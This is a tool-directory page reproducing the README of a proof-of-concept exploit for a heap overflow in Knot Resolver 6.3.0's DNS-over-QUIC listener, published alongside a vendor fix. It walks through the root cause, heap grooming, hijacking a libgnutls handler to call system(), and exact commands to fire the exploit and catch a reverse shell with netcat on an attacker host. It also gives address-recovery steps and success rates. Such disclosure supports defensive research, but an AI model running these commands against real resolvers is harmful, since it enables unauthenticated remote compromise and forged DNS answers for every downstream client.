Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
knot-doq — CVE-2026-66374: Knot Resolver 6.3.0 DNS-over-QUIC heap overflow (RCE) | Kitploit
Tools/GitHubGitHub/venglin/knot-doq
Vulnerability AnalysisExploitationNetwork SecurityRemote Access ToolPayload DevelopmentBinary Exploitation
GitHubvenglin/knot-doq

knot-doq

CVE-2026-66374: Knot Resolver 6.3.0 DNS-over-QUIC heap overflow (RCE)

View Repository
61 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Knot Resolver 6.3.0 — DNS-over-QUIC heap overflow → RCE (PoC)

Proof-of-concept for a remotely triggerable heap buffer overflow in Knot Resolver's DNS-over-QUIC (DoQ) receive path that yields remote code execution as the knot-resolver service user.

  • Component: kresd DoQ listener (daemon/quic_conn.c)
  • Affected: Knot Resolver 6.3.0 (validated on 6.3.0-cznic.1~bookworm)
  • Fixed in: Knot Resolver 6.4.1 (released 2026-07-22)
  • Class: Heap out-of-bounds write (CWE-787)
  • Vector: Network, unauthenticated — a single QUIC connection
  • Impact: Code execution as knot-resolver; at minimum, remote crash / DoS

Published alongside the vendor fix and advisory as part of coordinated disclosure. For authorized security research and defensive validation only.

Demo

Full remote exploitation — the exploit is fired from the attacker box over DNS-over-QUIC, and a knot-resolver reverse shell is caught on (click for the full-resolution video):

Download Tool
nc

Remote DNS-over-QUIC RCE against Knot Resolver 6.3.0

What is Knot Resolver

Knot Resolver is an open-source caching DNS recursive resolver developed by CZ.NIC (the .cz registry). It resolves DNS queries on behalf of clients — end-user devices, ISP resolver fleets, and public resolver services — and caches the answers. It supports modern encrypted transports including DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) and DNS-over-QUIC (DoQ), and ships DNSSEC validation and aggressive caching.

It is popular in large ISP environments, where its rich feature set (scriptable policy, DNSSEC, encrypted transports, fine-grained caching) and high performance make it well suited to serving very large subscriber bases.

The daemon (kresd) is a long-lived network service that is directly exposed to untrusted input from any host able to reach its listening port. That makes a memory-corruption bug in its packet-receive path — like the one exploited here — a remotely reachable, unauthenticated attack surface: compromising the resolver lets an attacker forge DNS answers for every downstream client, i.e. redirect or intercept effectively all of their traffic.

Root cause

kr_recv_stream_data_cb() reassembles DoQ STREAM frames into a per-connection input buffer (pers_inbuf). It grows that buffer with

root@kitploit:~
pers_inbuf.size += datalen;      /* bug: accumulates, never re-baselines */

instead of setting the size to the new total. Across several frames the tracked size drifts above the real allocation. A final frame whose datalen fits under the inflated size therefore skips the reallocation, yet the subsequent memcpy() is bounded by that inflated size — so it writes past the end of the object. jemalloc keeps the object pinned to its real size class, so the excess bytes land in the adjacent slab slot.

Exploitation summary

A six-frame sequence on one stream walks pers_inbuf through five jemalloc size classes into the 6144-byte class and then overflows into the neighbouring slot:

root@kitploit:~
F1  datalen=8                    initial 1200-byte allocation
F2  datalen=1440   realloc  ->   1536-class
F3  datalen=1440   realloc  ->   3072-class
F4  datalen=1440   realloc  ->   5120-class
F5  datalen=1440   realloc  ->   6144-class
F6  datalen=1200, FIN            no realloc -> 814-byte OOB write into slot+1

Lightweight connection grooming (open several DoQ connections, free half just before firing) arranges for slot+1 to hold a libgnutls cleanup handler. The overflow overwrites that handler's dispatch pointer, its argument, and the flag that gates the dispatch. During connection teardown libgnutls executes

root@kitploit:~
call *0x110(%rbx)     ; %rbx = attacker-controlled slot+1

giving control of the instruction pointer (RIP) and the first argument (RDI). The PoC routes this to system() with a pointer to an attacker-supplied command string written into the same slot.

Scope: ASLR

This PoC targets a host with ASLR disabled (kernel.randomize_va_space = 0). With randomization off the heap and libc addresses are deterministic, so the two addresses the exploit needs (slot+1 and system()) are constants for a given build. Defeating ASLR is a separate problem and is intentionally out of scope here — the goal is to demonstrate the memory-corruption → control-flow → code-execution primitive in isolation.

Because those addresses are deterministic, no information leak is required: the exploit runs fully over the network from a remote host. The addresses are recovered once with the probe step (below) on any identical build and then hard-coded; on the reference build they are slot+1 = 0x7ffff66c5000 and system = 0x7ffff746a490.

Contents

FilePurpose
poc.pyThe exploit. Modes: probe, rip, exec.
probe.gdbgdb oracle that reads the deterministic pers_inbuf.
README.mdThis document.

Requires Python 3 with aioquic and netcat on the attacker side, and gdb on the target only for the one-time probe step.

Usage — remote reverse shell (no info leak)

This is the headline demonstration: the exploit is fired from the attacker machine, over the network, with the two deterministic addresses hard-coded. Nothing is read from the target — no /proc, no gdb, no logs.

root@kitploit:~
# On the attacker box: listen for the shell
$ nc -lvnp 4444                    # Linux;  on macOS/BSD:  nc -l 4444

# In another terminal: fire the exploit at the target's DoQ port
$ python3 poc.py exec \
      --host <target> --port 8853 \
      --slot1  0x7ffff66c5000 \
      --system 0x7ffff746a490 \
      --lhost <attacker-ip> --lport 4444 \
      --rounds 250

Each round that lands calls system() on the target with a reverse-shell command; the shell connects back to --lhost:--lport, where nc receives it. When it arrives, type into the netcat session to drive the shell:

root@kitploit:~
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64

The --slot1 / --system values are recovered once with the probe step on any identical build; they are constants while ASLR is off.

Recovering the addresses (one-time probe)

The --slot1 / --system values above are constants while ASLR is off; recover them once on any identical build. Precondition:

root@kitploit:~
$ sudo sysctl -w kernel.randomize_va_space=0
root@kitploit:~
# slot+1 : gdb oracle reads the deterministic pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800  slot1=0x7ffff66c5000

# system : libc base (ASLR off) + system() offset
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))

poc.py rip --rounds 8 additionally demonstrates raw RIP/RDI control (the target crashes at the attacker-chosen instruction pointer).

Reliability

Measured on the reference build (Debian 12, 6.3.0-cznic.1, ASLR off):

PrimitiveRate
RIP/RDI control (rip, crash)~7/8 per round
Full system() execution (exec)~1 in 30–50 rounds

The gap is inherent: system() runs on a heap that the overflow just corrupted, so most dispatches crash kresd before the child is spawned. The daemon is respawned by its supervisor after each crash, the address is deterministic with ASLR off, and each attempt is independent — so the exec loop simply retries until one lands (in the remote run above, a shell arrived on round 5). A failed attempt is a transient worker crash (DoS). Grooming parameters --groom 16 --close 8 --qpc 4 are the empirically best defaults; heavier closing (e.g. --close 16 at --groom 32) collapses the hit rate.

Reference environment

root@kitploit:~
OS        Debian 12 (bookworm), glibc 2.36
kresd     knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config    DoQ listener on 127.0.0.1@8853

The size-class geometry (six frames, 1200/1440-byte payloads) and the libgnutls dispatch offset are specific to this build; other builds need the frame sizes and offsets re-derived.

Disclosure timeline

DateEvent
2026-06-08Vulnerability reported to the vendor (CZ.NIC).
2026-07-22Fix released in Knot Resolver 6.4.1, with vendor advisory.
2026-07-23This PoC and write-up published.

Disclosure & license

Reported to the vendor on 2026-06-08 and released in coordination with the official fix (6.4.1, 2026-07-22). Provided for authorized testing, defensive validation, and research. Do not run it against systems you do not own or are not explicitly authorized to test.

SPDX-License-Identifier: MIT